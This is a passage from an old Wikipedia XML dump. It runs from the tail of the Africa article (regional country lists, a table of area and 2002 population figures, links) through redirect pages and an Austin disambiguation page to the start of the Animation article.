* [[Rwanda]] (also sometimes considered part of East Africa)
* [[Republic of Congo]]
&lt;!--* [[Zambia]] (usually considered part of Southern Africa)--&gt;

'''[[North Africa]]'''
* [[Algeria]]
* [[Egypt]] 
* [[Libya]]
* [[Mauritania]] 
* [[Morocco]]
* [[Sudan]]
* [[Tunisia]]

'''[[Southern Africa]]'''
* [[Angola]] (also sometimes considered part of Central Africa)
* [[Botswana]]
* [[Lesotho]]
* [[Malawi]]
* [[Mozambique]] (also sometimes considered part of East Africa)
* [[Namibia]]
* [[South Africa]]
* [[Swaziland]]
* [[Zambia]] (also sometimes considered part of Central Africa)
* [[Zimbabwe]]

'''[[West Africa]]'''
* [[Benin]]
* [[Burkina Faso]]
* [[Cameroon]] (also sometimes considered part of Central Africa)
* [[Chad]] (also sometimes considered part of Central Africa)
* [[Côte d'Ivoire]]
* [[Equatorial Guinea]] (also sometimes considered part of Central Africa)
* [[Gabon]] (also sometimes considered part of Central Africa)
* [[The Gambia]]
* [[Ghana]]
* [[Guinea]]
* [[Guinea-Bissau]]
* [[Liberia]]
* [[Mali]]
&lt;!--* [[Mauritania]] (usually considered part of North Africa)--&gt;
* [[Niger]]
* [[Nigeria]]
* [[Senegal]]
* [[Sierra Leone]]
* [[Togo]]

'''African Island Nations'''
* [[Cape Verde]] (West Africa)
* [[Comoros]] (Southern Africa)
* [[Madagascar]] (Southern Africa)
* [[Mauritius]] (Southern Africa)
* [[São Tomé and Príncipe]] (Central Africa or West Africa)
* [[Seychelles]] (East Africa)

===Territories, possessions, départements===
* [[Canary Islands]] ([[Spain]])
* [[Ceuta]] and [[Melilla]] ([[Spain]]/claimed by [[Morocco]])
* [[Madeira]] ([[Portugal]])
* [[Mayotte]] ([[France]])
* [[Réunion]] ([[France]])
* [[Saint Helena]] (including dependencies [[Ascension Island]] and [[Tristan da Cunha]]) ([[United Kingdom]])

===Disputed territories===
* [[Western Sahara]] is claimed and mostly [[military occupation|occupied]] by [[Morocco]]. The [[Free Zone (region)|remainder]] is administered by the [[Sahrawi Arab Democratic Republic]].

===Table of territories and regions===
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#ECECEC&quot;
! Name of territory,&lt;br&gt;with [[flag]]
! [[List of countries by area|Area]]&lt;br&gt;(km&amp;sup2;)
! [[List of countries by population|Population]]&lt;br&gt;([[1 July]] [[2002]] est.)
! [[List of countries by population density|Population density]]&lt;br&gt;(per km&amp;sup2;)
! [[Capital]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Eastern Africa]]{{ref|region}}''':
|-
| {{flagicon|Burundi}} [[Burundi]]
| align=&quot;right&quot; | 27,830
| align=&quot;right&quot; | 6,373,002
| align=&quot;right&quot; | 229.0
| [[Bujumbura]]
|-
| {{flagicon|Comoros}} [[Comoros]]
| align=&quot;right&quot; | 2,170
| align=&quot;right&quot; | 614,382
| align=&quot;right&quot; | 283.1
| [[Moroni, Comoros|Moroni]]
|-
| {{flagicon|Djibouti}} [[Djibouti]]
| align=&quot;right&quot; | 23,000
| align=&quot;right&quot; | 472,810
| align=&quot;right&quot; | 20.6
| [[Djibouti City|Djibouti]]
|-
| {{flagicon|Eritrea}} [[Eritrea]]
| align=&quot;right&quot; | 121,320
| align=&quot;right&quot; | 4,465,651
| align=&quot;right&quot; | 36.8
| [[Asmara]]
|-
| {{flagicon|Ethiopia}} [[Ethiopia]]
| align=&quot;right&quot; | 1,127,127
| align=&quot;right&quot; | 67,673,031
| align=&quot;right&quot; | 60.0
| [[Addis Ababa]]
|-
| {{flagicon|Kenya}} [[Kenya]]
| align=&quot;right&quot; | 582,650
| align=&quot;right&quot; | 31,138,735
| align=&quot;right&quot; | 53.4
| [[Nairobi]]
|-
| {{flagicon|Madagascar}} [[Madagascar]]
| align=&quot;right&quot; | 587,040
| align=&quot;right&quot; | 16,473,477
| align=&quot;right&quot; | 28.1
| [[Antananarivo]]
|-
| {{flagicon|Malawi}} [[Malawi]]
| align=&quot;right&quot; | 118,480
| align=&quot;right&quot; | 10,701,824
| align=&quot;right&quot; | 90.3
| [[Lilongwe]]
|-
| {{flagicon|Mauritius}} [[Mauritius]]
| align=&quot;right&quot; | 2,040
| align=&quot;right&quot; | 1,200,206
| align=&quot;right&quot; | 588.3
| [[Port Louis]]
|-
| {{flagicon|Mayotte}} [[Mayotte]] ([[France]])
| align=&quot;right&quot; | 374
| align=&quot;right&quot; | 170,879
| align=&quot;right&quot; | 456.9
| [[Mamoudzou]]
|-
| {{flagicon|Mozambique}} [[Mozambique]]
| align=&quot;right&quot; | 801,590
| align=&quot;right&quot; | 19,607,519
| align=&quot;right&quot; | 24.5
| [[Maputo]]
|-
| {{flagicon|Réunion}} [[Réunion]] (France)
| align=&quot;right&quot; | 2,512
| align=&quot;right&quot; | 743,981
| align=&quot;right&quot; | 296.2
| [[Saint-Denis, Réunion|Saint-Denis]]
|-
| {{flagicon|Rwanda}} [[Rwanda]]
| align=&quot;right&quot; | 26,338
| align=&quot;right&quot; | 7,398,074
| align=&quot;right&quot; | 280.9
| [[Kigali]]
|-
| {{flagicon|Seychelles}} [[Seychelles]]
| align=&quot;right&quot; | 455
| align=&quot;right&quot; | 80,098
| align=&quot;right&quot; | 176.0
| [[Victoria, Seychelles|Victoria]]
|-
| {{flagicon|Somalia}} [[Somalia]]
| align=&quot;right&quot; | 637,657
| align=&quot;right&quot; | 7,753,310
| align=&quot;right&quot; | 12.2
| [[Mogadishu]]
|-
| {{flagicon|Tanzania}} [[Tanzania]]
| align=&quot;right&quot; | 945,087
| align=&quot;right&quot; | 37,187,939
| align=&quot;right&quot; | 39.3
| [[Dodoma]]
|-
| {{flagicon|Uganda}} [[Uganda]]
| align=&quot;right&quot; | 236,040
| align=&quot;right&quot; | 24,699,073
| align=&quot;right&quot; | 104.6
| [[Kampala]]
|-
| {{flagicon|Zambia}} [[Zambia]]
| align=&quot;right&quot; | 752,614
| align=&quot;right&quot; | 9,959,037
| align=&quot;right&quot; | 13.2
| [[Lusaka]]
|-
| {{flagicon|Zimbabwe}} [[Zimbabwe]]
| align=&quot;right&quot; | 390,580
| align=&quot;right&quot; | 11,376,676
| align=&quot;right&quot; | 29.1
| [[Harare]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Middle Africa]]''':
|-
| {{flagicon|Angola}} [[Angola]]
| align=&quot;right&quot; | 1,246,700
| align=&quot;right&quot; | 10,593,171
| align=&quot;right&quot; | 8.5
| [[Luanda]]
|-
| {{flagicon|Cameroon}} [[Cameroon]]
| align=&quot;right&quot; | 475,440
| align=&quot;right&quot; | 16,184,748
| align=&quot;right&quot; | 34.0
| [[Yaoundé]]
|-
| {{flagicon|Central African Republic}} [[Central African Republic]]
| align=&quot;right&quot; | 622,984
| align=&quot;right&quot; | 3,642,739
| align=&quot;right&quot; | 5.8
| [[Bangui]]
|-
| {{flagicon|Chad}} [[Chad]]
| align=&quot;right&quot; | 1,284,000
| align=&quot;right&quot; | 8,997,237
| align=&quot;right&quot; | 7.0
| [[N'Djamena]]
|-
| {{flagicon|Republic of the Congo}} [[Republic of the Congo|Congo]]
| align=&quot;right&quot; | 342,000
| align=&quot;right&quot; | 2,958,448
| align=&quot;right&quot; | 8.7
| [[Brazzaville]]
|-
| {{flagicon|Democratic Republic of the Congo}} [[Democratic Republic of the Congo]]
| align=&quot;right&quot; | 2,345,410
| align=&quot;right&quot; | 55,225,478
| align=&quot;right&quot; | 23.5
| [[Kinshasa]]
|-
| {{flagicon|Equatorial Guinea}} [[Equatorial Guinea]]
| align=&quot;right&quot; | 28,051
| align=&quot;right&quot; | 498,144
| align=&quot;right&quot; | 17.8
| [[Malabo]]
|-
| {{flagicon|Gabon}} [[Gabon]]
| align=&quot;right&quot; | 267,667
| align=&quot;right&quot; | 1,233,353
| align=&quot;right&quot; | 4.6
| [[Libreville]]
|-
| {{flagicon|São Tomé and Príncipe}} [[São Tomé and Príncipe]]
| align=&quot;right&quot; | 1,001
| align=&quot;right&quot; | 170,372
| align=&quot;right&quot; | 170.2
| [[São Tomé]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Northern Africa]]''':
|-
| {{flagicon|Algeria}} [[Algeria]]
| align=&quot;right&quot; | 2,381,740
| align=&quot;right&quot; | 32,277,942
| align=&quot;right&quot; | 13.6
| [[Algiers]]
|-
| {{flagicon|Egypt}} [[Egypt]]{{ref|Egypt}}
| align=&quot;right&quot; | 1,001,450
| align=&quot;right&quot; | 70,712,345
| align=&quot;right&quot; | 70.6
| [[Cairo]]
|-
| {{flagicon|Libya}} [[Libya]]
| align=&quot;right&quot; | 1,759,540
| align=&quot;right&quot; | 5,368,585
| align=&quot;right&quot; | 3.1
| [[Tripoli]]
|-
| {{flagicon|Morocco}} [[Morocco]]
| align=&quot;right&quot; | 446,550
| align=&quot;right&quot; | 31,167,783
| align=&quot;right&quot; | 69.8
| [[Rabat]]
|-
| {{flagicon|Sudan}} [[Sudan]]
| align=&quot;right&quot; | 2,505,810
| align=&quot;right&quot; | 37,090,298
| align=&quot;right&quot; | 14.8
| [[Khartoum]]
|-
| {{flagicon|Tunisia}} [[Tunisia]]
| align=&quot;right&quot; | 163,610
| align=&quot;right&quot; | 9,815,644
| align=&quot;right&quot; | 60.0
| [[Tunis]]
|-
| {{flagicon|Western Sahara}} [[Western Sahara]] ([[Morocco]]){{ref|WSM}}
| align=&quot;right&quot; | 266,000
| align=&quot;right&quot; | 256,177
| align=&quot;right&quot; | 1.0
| [[El Aaiún]]
|-
| colspan=5 | ''Southern Europe dependencies in Northern Africa'':
|-
| [[image:Flag of the Canary Islands.png|20px]] [[Canary Islands]] ([[Spain]]){{ref|Canary}}
| align=&quot;right&quot; | 7,492
| align=&quot;right&quot; | 1,694,477
| align=&quot;right&quot; | 226.2
| [[Las Palmas de Gran Canaria]],&lt;br /&gt;[[Santa Cruz de Tenerife]]
|-
| {{flagicon|Ceuta}} [[Ceuta]] (Spain){{ref|Spain}}
| align=&quot;right&quot; | 20
| align=&quot;right&quot; | 71,505
| align=&quot;right&quot; | 3,575.2
| —
|-
| [[image:MadeiraFlag.png|20px]] [[Madeira Islands]] ([[Portugal]]){{ref|Portugal}}
| align=&quot;right&quot; | 797
| align=&quot;right&quot; | 245,000
| align=&quot;right&quot; | 307.4
| [[Funchal]]
|-
| {{flagicon|Melilla}} [[Melilla]] (Spain){{ref|Spain}}
| align=&quot;right&quot; | 12
| align=&quot;right&quot; | 66,411
| align=&quot;right&quot; | 5,534.2
| —
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Southern Africa]]''':
|-
| {{flagicon|Botswana}} [[Botswana]]
| align=&quot;right&quot; | 600,370
| align=&quot;right&quot; | 1,591,232
| align=&quot;right&quot; | 2.7
| [[Gaborone]]
|-
| {{flagicon|Lesotho}} [[Lesotho]]
| align=&quot;right&quot; | 30,355
| align=&quot;right&quot; | 2,207,954
| align=&quot;right&quot; | 72.7
| [[Maseru]]
|-
| {{flagicon|Namibia}} [[Namibia]]
| align=&quot;right&quot; | 825,418
| align=&quot;right&quot; | 1,820,916
| align=&quot;right&quot; | 2.2
| [[Windhoek]]
|-
| {{flagicon|South Africa}} [[South Africa]]
| align=&quot;right&quot; | 1,219,912
| align=&quot;right&quot; | 43,647,658
| align=&quot;right&quot; | 35.8
| [[Bloemfontein]], [[Cape Town]], [[Pretoria]]{{ref|SCcaps}}
|-
| {{flagicon|Swaziland}} [[Swaziland]]
| align=&quot;right&quot; | 17,363
| align=&quot;right&quot; | 1,123,605
| align=&quot;right&quot; | 64.7
| [[Mbabane]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Western Africa]]''':
|-
| {{flagicon|Benin}} [[Benin]]
| align=&quot;right&quot; | 112,620
| align=&quot;right&quot; | 6,787,625
| align=&quot;right&quot; | 60.3
| [[Porto-Novo]]
|-
| {{flagicon|Burkina Faso}} [[Burkina Faso]]
| align=&quot;right&quot; | 274,200
| align=&quot;right&quot; | 12,603,185
| align=&quot;right&quot; | 46.0
| [[Ouagadougou]]
|-
| {{flagicon|Cape Verde}} [[Cape Verde]]
| align=&quot;right&quot; | 4,033
| align=&quot;right&quot; | 408,760
| align=&quot;right&quot; | 101.4
| [[Praia]]
|-
| {{flagicon|Côte d'Ivoire}} [[Côte d'Ivoire]]
| align=&quot;right&quot; | 322,460
| align=&quot;right&quot; | 16,804,784
| align=&quot;right&quot; | 52.1
| [[Abidjan]], [[Yamoussoukro]]{{ref|ICcaps}}
|-
| {{flagicon|Gambia}} [[The Gambia|Gambia]]
| align=&quot;right&quot; | 11,300
| align=&quot;right&quot; | 1,455,842
| align=&quot;right&quot; | 128.8
| [[Banjul]]
|-
| {{flagicon|Ghana}} [[Ghana]]
| align=&quot;right&quot; | 239,460
| align=&quot;right&quot; | 20,244,154
| align=&quot;right&quot; | 84.5
| [[Accra]]
|-
| {{flagicon|Guinea}} [[Guinea]]
| align=&quot;right&quot; | 245,857
| align=&quot;right&quot; | 7,775,065
| align=&quot;right&quot; | 31.6
| [[Conakry]]
|-
| {{flagicon|Guinea-Bissau}} [[Guinea-Bissau]]
| align=&quot;right&quot; | 36,120
| align=&quot;right&quot; | 1,345,479
| align=&quot;right&quot; | 37.3
| [[Bissau]]
|-
| {{flagicon|Liberia}} [[Liberia]]
| align=&quot;right&quot; | 111,370
| align=&quot;right&quot; | 3,288,198
| align=&quot;right&quot; | 29.5
| [[Monrovia]]
|-
| {{flagicon|Mali}} [[Mali]]
| align=&quot;right&quot; | 1,240,000
| align=&quot;right&quot; | 11,340,480
| align=&quot;right&quot; | 9.1
| [[Bamako]]
|-
| {{flagicon|Mauritania}} [[Mauritania]]
| align=&quot;right&quot; | 1,030,700
| align=&quot;right&quot; | 2,828,858
| align=&quot;right&quot; | 2.7
| [[Nouakchott]]
|-
| {{flagicon|Niger}} [[Niger]]
| align=&quot;right&quot; | 1,267,000
| align=&quot;right&quot; | 10,639,744
| align=&quot;right&quot; | 8.4
| [[Niamey]]
|-
| {{flagicon|Nigeria}} [[Nigeria]]
| align=&quot;right&quot; | 923,768
| align=&quot;right&quot; | 129,934,911
| align=&quot;right&quot; | 140.7
| [[Abuja]]
|-
| {{flagicon|Saint Helena}} [[Saint Helena (Britain)|Saint Helena]] ([[UK]])
| align=&quot;right&quot; | 410
| align=&quot;right&quot; | 7,317
| align=&quot;right&quot; | 17.8
| [[Jamestown, Saint Helena|Jamestown]]
|-
| {{flagicon|Senegal}} [[Senegal]]
| align=&quot;right&quot; | 196,190
| align=&quot;right&quot; | 10,589,571
| align=&quot;right&quot; | 54.0
| [[Dakar]]
|-
| {{flagicon|Sierra Leone}} [[Sierra Leone]]
| align=&quot;right&quot; | 71,740
| align=&quot;right&quot; | 5,614,743
| align=&quot;right&quot; | 78.3
| [[Freetown]]
|-
| {{flagicon|Togo}} [[Togo]]
| align=&quot;right&quot; | 56,785
| align=&quot;right&quot; | 5,285,501
| align=&quot;right&quot; | 93.1
| [[Lomé]]
|- style=&quot; font-weight:bold; &quot;
| Total
| align=&quot;right&quot; | 30,368,609
| align=&quot;right&quot; | 843,705,143
| align=&quot;right&quot; | 27.8
|}

''Notes:''&lt;br&gt;
#&lt;small&gt;{{note|region}} Continental regions as per [[:Image:United Nations geographical subregions.png|UN categorisations/map]].&lt;br&gt;
#&lt;small&gt;{{note|Egypt}} Depending on definitions, [[Egypt]] has territory in [[transcontinental nation|one or both of]] Africa and [[Asia]].&lt;br&gt;
#&lt;small&gt;{{note|WSM}} [[Western Sahara]] is claimed and mostly [[military occupation|occupied]] by [[Morocco]]. The [[Free Zone (region)|remainder]] is administered by the [[Sahrawi Arab Democratic Republic]]. &lt;/small&gt;&lt;br&gt;
#&lt;small&gt;{{note|Canary}} The [[Spain|Spanish]] [[Canary Islands]], of which [[Las Palmas de Gran Canaria]] are [[Santa Cruz de Tenerife]] are co-capitals, are often considered part of Northern Africa due to their relative proximity to [[Morocco]] and [[Western Sahara]]; population and area figures are for 2001.&lt;br&gt;
#&lt;small&gt;{{note|Spain}} The [[Spain|Spanish]] [[exclave]] of [[Ceuta]] is surrounded on land  by Morocco in Northern Africa; population and area figures are for 2001.&lt;br&gt;
#&lt;small&gt;{{note|Portugal}} The [[Portugal|Portuguese]] [[Madeira Islands]] are often considered part of Northern Africa due to their relative proximity to Morocco; population and area figures are for 2001.&lt;br&gt;
#&lt;small&gt;{{note|Spain}} The [[Spain|Spanish]] [[exclave]] of [[Melilla]] is surrounded on land by Morocco in Northern Africa; population and area figures are for 2001.&lt;br&gt;
#&lt;small&gt;{{note|SCcaps}} [[Bloemfontein]] is the judicial capital of [[South Africa]], while [[Cape Town]] is its legislative seat, and [[Pretoria]] is the country's administrative seat.&lt;br&gt;
#&lt;small&gt;{{note|ICcaps}} [[Yamoussoukro]] is the official capital of [[Côte d'Ivoire]], while [[Abidjan]] is the ''[[de facto]]'' seat.&lt;br&gt;

==See also==
{{sisterlinks|Africa}}
*{{wikitravel}}
*[[2005 in Africa]] - [[2006 in Africa]]
*[[31st G8 summit]]
*[[AIDS in Africa]]
*[[African Anarchism]]
*[[African philosophy]]
*[[African Union]]
*[[Cuisine of Africa|African cuisine]]
*[[Confederation of African Football]]
*[[Congo craton]]
*[[Ecology of Africa]]
*[[Education in Africa]]
*[[History of Africa]]
*[[Human rights in Africa]]
*[[Regions of Africa]]
*[[Sub-Saharan Africa]]
*[[Universities in Africa]]
*[[Heart of Africa (game)]]

*[[List of African countries by population density]]
*[[List of African countries by population]]
*[[List of African countries by GDP]]
*[[List of African stock exchanges]]

==External links==
;News
* [http://allafrica.com/ allAfrica.com] current news, events and statistics 
* [http://news.bbc.co.uk/2/hi/in_depth/africa/2005/africa/default.stm BBC News In Depth - Africa 2005: Time for Change?]
* [http://www.guardian.co.uk/hearafrica05/0,15756,1399090,00.html Guardian Unlimited - Special Report: Hear Africa 05]

;Directories
* [http://africadatabase.org/ Contemporary Africa Database]
* [http://www.afrika.no/index/ The Index on Africa] directory from The Norwegian Council for Africa
* [http://dmoz.org/Regional/Africa/ Open Directory Project - Africa] directory category
*[http://www.columbia.edu/cu/lweb/indiv/africa/ Columbia University - African Studies]
*[http://www.loc.gov/rr/amed/ Library of Congress - African &amp;amp; Middle Eastern Reading Room]
*[http://www-sul.stanford.edu/depts/ssrg/africa/ Stanford University - Africa South of the Sahara]
*[http://www.lib.uchicago.edu/e/su/afr/ University of Chicago - Joseph Regenstein Library: African Studies]
*[http://www.sas.upenn.edu/African_Studies/ University of Pennsylvania - African Studies Center]
*[http://www.africahomepage.org/ Africa Homepage]

;Politics
*[http://www.africaaction.org/index.php ''Africa Action'']  Africa Action is the oldest organization in the US working on Africa affairs.  It is a national organization that works for political, economic and social justice in Africa. 
*[http://www.zabalaza.net/texts/african_anarchism/contents.htm African Anarchism: The History of a Movement]
* [http://flag.blackened.net/revolt/africa/accounts/chekov.html An Irish anarchist in Africa], western Africa from anarchist perspective.
* [http://www.commissionforafrica.org/english.htm  Commission for Africa] 
* [http://www.africanfront.com African Unification Front] 
* [http://www.libcom.org/history/africa.php Working class history in Africa] - people's and grassroots histories

;Photos and Information
*[http://www.junglephotos.com/africa/index.shtml ''Jungle Photos'']  Jungle Photos Africa provides images and information on various countries in sub-Saharan Africa. 
*[http://www.africam.com Africam - African Wildlife Webcams]
*[http://www.afrika.no/english/index.html Afrika.no News]
*[http://www.afrol.com/Afrol News- African News Agency]
*[http://www.ips.org/africa.shtml Inter Press Service-Africa]

;Sports
*[http://www.cafonline.com/ Confederation of African Football; in English and French]

;Tourism
* {{wikitravel}}
{{Africa}}
{{Continent}}
{{Region}}

&lt;!-- The below are interlanguage links. --&gt;


[[Category:Africa|*]]
[[Category:Continents]]

[[tk:Afrika]]

[[af:Afrika]]
[[am:አፍሪቃ]]
[[ang:Africa]]
[[ar:أفريقيا]]
[[an:Africa]]
[[ast:África]]
[[az:Afrika]]
[[bg:Африка]]
[[zh-min-nan:Hui-chiu]]
[[bn:আফ্রিকা]]
[[bs:Afrika]]
[[br:Afrika]]
[[ca:Àfrica]]
[[cs:Afrika]]
[[cy:Affrica]]
[[da:Afrika]]
[[de:Afrika]]
[[et:Aafrika]]
[[el:Αφρική]]
[[es:África]]
[[eo:Afriko]]
[[eu:Afrika]]
[[fa:آفریقا]]
[[fo:Afrika]]
[[fr:Afrique]]
[[fy:Afrika]]
[[ga:An Afraic]]
[[gd:Afraga]]
[[gl:África]]
[[gu:આફ્રિકા]]
[[ko:아프리카]]
[[ht:Afrik]]
[[hr:Afrika]]
[[io:Afrika]]
[[id:Afrika]]
[[ia:Africa]]
[[is:Afríka]]
[[it:Africa]]
[[he:אפריקה]]
[[jv:Afrika]]
[[kn:ಆಫ್ರಿಕ]]
[[ku:Efrîqa]]
[[kw:Afrika]]
[[sw:Afrika]]
[[la:Africa]]
[[lv:Āfrika]]
[[lt:Afrika]]
[[lb:Afrika]]
[[li:Afrika]]
[[hu:Afrika]]
[[mk:Африка]]
[[mg:Afrika]]
[[mt:Afrika]]
[[ms:Afrika]]
[[nl:Afrika]]
[[nds:Afrika]]
[[ja:アフリカ]]
[[no:Afrika]]
[[nn:Afrika]]
[[pl:Afryka]]
[[pt:África]]
[[ro:Africa]]
[[ru:Африка]]
[[se:Afrihkká]]
[[sm:Aferika]]
[[sa:अफ्रीका]]
[[sq:Afrika]]
[[sh:Afrika]]
[[scn:Àfrica]]
[[simple:Africa]]
[[sk:Afrika]]
[[sl:Afrika]]
[[sr:Африка]]
[[fi:Afrikka]]
[[sv:Afrika]]
[[tl:Aprika]]
[[ta:ஆப்பிரிக்கா]]
[[th:ทวีปแอฟริกา]]
[[vi:Châu Phi]]
[[to:Aferika]]
[[tr:Afrika]]
[[uk:Африка]]
[[yi:אַפֿריקע]]
[[zh:非洲]]
[[so:Afrika]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore And Cartier Islands</title>
    <id>589</id>
    <revision>
      <id>15899120</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore_and_Cartier_Islands]]
</text>
    </revision>
  </page>
  <page>
    <title>Austin</title>
    <id>590</id>
    <revision>
      <id>41665486</id>
      <timestamp>2006-02-28T22:56:49Z</timestamp>
      <contributor>
        <ip>129.186.159.125</ip>
      </contributor>
      <text xml:space="preserve">'''Austin''' is a word that may refer to various things.
'''Austin''' can also be a given name.
== Places in the U.S. ==
'''Austin''' may be the name of a town or city in the U.S.:
*[[Austin, Texas]], the capital of Texas (best known city with this name)
*[[Austin, Arkansas]]
*[[Austin, Colorado]]
*[[Austin, Indiana]]
*[[Austin, Kentucky]]
*[[Austin Township, Michigan]]
*[[Austin, Minnesota]]
*[[Austin Township, Minnesota]]
*[[Austin, Nevada]]
*[[Austin, North Carolina]]
*[[Austin, Pennsylvania]]
*[[Austin, Utah]]
*[[Port Austin, Michigan]]
*[[Austinburg, Ohio]]
Other places in the U.S. named '''Austin''':
*[[Austin, Chicago]], a neighborhood in Chicago
*[[Austin College]], a college in Sherman, Texas
*[[Lake Austin]]

== Places in Canada ==
*[[Austin Flat, British Columbia]]
*[[Austin Heights, British Columbia]]
*[[Austin Subdivision No 1, British Columbia]]
*[[Austin Subdivision No 2, British Columbia]]
*[[Austin, Manitoba]]
*[[Austin, Ontario]]
*[[Austin, Quebec]]

== Names of people named Austin ==
*[[Austin Powers]], a fictional movie spy
*[[Albert Austin]]
*[[Herbert Austin]], Sir Herbert Austin, founder of the Austin Motor Company
*[[John Austin (legal philosophy)]]
*[[J. L. Austin]], philosopher
*[[John Arnold Austin]], United States Navy warrant officer
*[[Phil Austin]], member of the Firesign Theatre
*[[Sherrie Austin]], musician
*[[Stephen F. Austin]], founder of Texas
*[[Steve Austin (fictional character)]], the title character in Martin Caidin's novel ''Cyborg'', which inspired the TV series &quot;The Six Million Dollar Man&quot;
*Col. [[Steve Austin (fictional character)]],  the lead character played by Lee Majors in the TV series &quot;The Six Million Dollar Man&quot;.
*[[Stone Cold Steve Austin]], a Professional wrestler turned actor
*[[Augustine of Hippo|Saint Augustine]], noticeable in the English version &quot;Austin Friars&quot; to refer to the '''[[Augustinians|Augustinian Order]]'''.

:''See also [[Jane Austen]], the author.''

== Things named Austin ==
*[[Austin Motor Company]], a British make of car
*[[American Austin Car Company]], a short lived United States make of automobile
*[[Austin (brand)]], a brand owned by the [[Kellogg Company]]
*[[USS Austin (sloop)|USS ''Austin'']], a sloop-of-war (originally in the Texas Navy)
*[[USS Austin (DE-15)|USS ''Austin'' (DE-15)]], a destroyer escort
*[[USS Austin (LPD-4)|USS ''Austin'' (LPD-4)]], an amphibious transport dock
*[[Austin elementary school]]

{{disambig}}

[[da:Austin]]
[[de:Austin]]
[[fr:Austin]]
[[io:Austin]]
[[it:Austin]]
[[ja:オースティン (曖昧さ回避)]]
[[pl:Austin]]
[[ru:Остин]]
[[sv:Austin]]</text>
    </revision>
  </page>
  <page>
    <title>Animated</title>
    <id>591</id>
    <revision>
      <id>15899122</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Animation]]
</text>
    </revision>
  </page>
  <page>
    <title>Ascii Art</title>
    <id>592</id>
    <revision>
      <id>15899123</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[ASCII art]]
</text>
    </revision>
  </page>
  <page>
    <title>Animation</title>
    <id>593</id>
    <revision>
      <id>41836622</id>
      <timestamp>2006-03-02T01:37:39Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
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&lt;div style=&quot;float: right; width: 30%; margin: 1em&quot;&gt;
[[Image:Animexample.gif]]&lt;br /&gt;&lt;small&gt;''This animation moves at 10 frames per second.''&lt;/small&gt;
&lt;br /&gt;[[Image:Animexample2.gif]]&lt;br /&gt;&lt;small&gt;''This animation moves at 2 frames per second. At this rate, the individual frames should be discernible.''&lt;/small&gt;&lt;br /&gt;[[Image:Animhorse.gif|200px]]&lt;br /&gt;&lt;small&gt;''12 frames per second is the typical rate for an [[animated cartoon]].''&lt;/small&gt;
&lt;/div&gt;

'''Animation''' is the illusion of motion created by the consecutive display of images of static elements. In film and video production, this refers to techniques by which each frame of a [[film]] or [[Film|movie]] is produced individually. These frames may be generated by computers, or by photographing a drawn or painted image, or by repeatedly making small changes to a model unit (see [[claymation]] and [[stop motion]]), and then photographing the result with a special [[animation camera]]. When the frames are strung together and the resulting film is viewed, there is an illusion of continuous movement due to the phenomenon known as [[persistence of vision]]. Generating such a film tends to be very labour intensive and tedious, though the development of [[computer animation]] has greatly sped up the process.

[[Graphics file format]]s like [[GIF]], [[MNG]], [[Scalable Vector Graphics|SVG]] and [[Macromedia Flash|Flash]](SWF) allow animation to be viewed on a computer or over the Internet.

[[Image:Animexample3.png|frame|none|''The animations shown before consist of these 6 frames.'']]
__TOC__

== Animation techniques ==
[[Traditional animation]] began with each frame being painted and then filmed. [[Traditional animation|Cel animation]], developed by [[Bray Productions|Bray]] and Hurd in the 1910s, sped up the process by using transparent overlays so that characters could be moved without the need to repaint the background for every frame. More recently, styles of animation based on painting and drawing have evolved, such as the minimalist [[Simpsons]] cartoons, or the roughly sketched [[The Snowman]].

[[Computer animation]] has advanced rapidly, and is now approaching the point where movies can be created with characters so lifelike as to be hard to distinguish from real actors. This involved a move from 2D to 3D, the difference being that in 2D animation the effect of perspective is created artistically, but in 3D objects are modeled in an internal 3D representation within the computer, and are then 'lit' and 'shot' from chosen angles, just as in real life, before being 'rendered' to a 2D bitmapped frame. Predictions that famous dead actors might even be 'brought back to life' to play in new movies before long have led to speculation about the moral and copyright issues involved. The use of computer animation as a way of achieving the otherwise impossible in conventionally shot movies has led to the term &quot;[[computer generated imagery]]&quot; being used, though the term has become hard to distinguish from computer animation as it is now used in referring to 3D movies that are entirely animated.

Computer animation involves modelling, motion generation, followed by the addition of surfaces and then [[rendering]]. Surfaces are programmed to stretch and bend automatically in response to movements of a '[[wire frame model]]', and the final rendering converts such movements to a [[Raster graphics|bitmap image]]. It is the recent developments in rendering complex surfaces like fur and clothing textures that have enabled stunningly life-like character models, including surfaces that even ripple, fold and blow in the wind, with every fibre or hair individually calculated for rendering.  However, that actually has little to do with the animation itself.  Animation is the process of bringing a lifeless puppet to life through the use of motion.  Many people confuse fancy effects and high-res textures with animation, but in fact life-like motion can be created using the simplest of models.  Pixar's work is a testament to this.  The goal of an animator is not simply to &quot;copy&quot; the real world, but to enhance and to take the essence of the motion that is there, and this is how animation can be elevated to the level of art.

There is a large misconception in the public mind that computers create animation today.  This couldn't be further from the truth.  A computer is nothing more (though also nothing less) than a very expensive fancy pencil, and has to be treated as such for any quality work to be acheived.  The choices a computer makes when interpolating motion are almost always the wrong ones, because the computer does not know what you are trying to create.  Even if a complex physics system were created complete enough to exactly mimic the real world, the end result would not be the desirable one, because a large part of animation concerns the choices an animator makes.  When a computer tries to make the choices for you, disaster is the general result.

==History==
{{see|Animated cartoon|History of animation}}

The major use of animation has always been for entertainment. However, there is growing use of [[instructional animation]] and [[educational animation]] to support explanation and learning.

The &quot;classic&quot; form of animation, the &quot;[[animated cartoon]]&quot;, as developed in the early 1900s and refined by [[Ub Iwerks]], [[Walt Disney]] and others, requires up to 24 distinct drawings for one second of animation. This technique is described in detail in the article [[Traditional animation]].
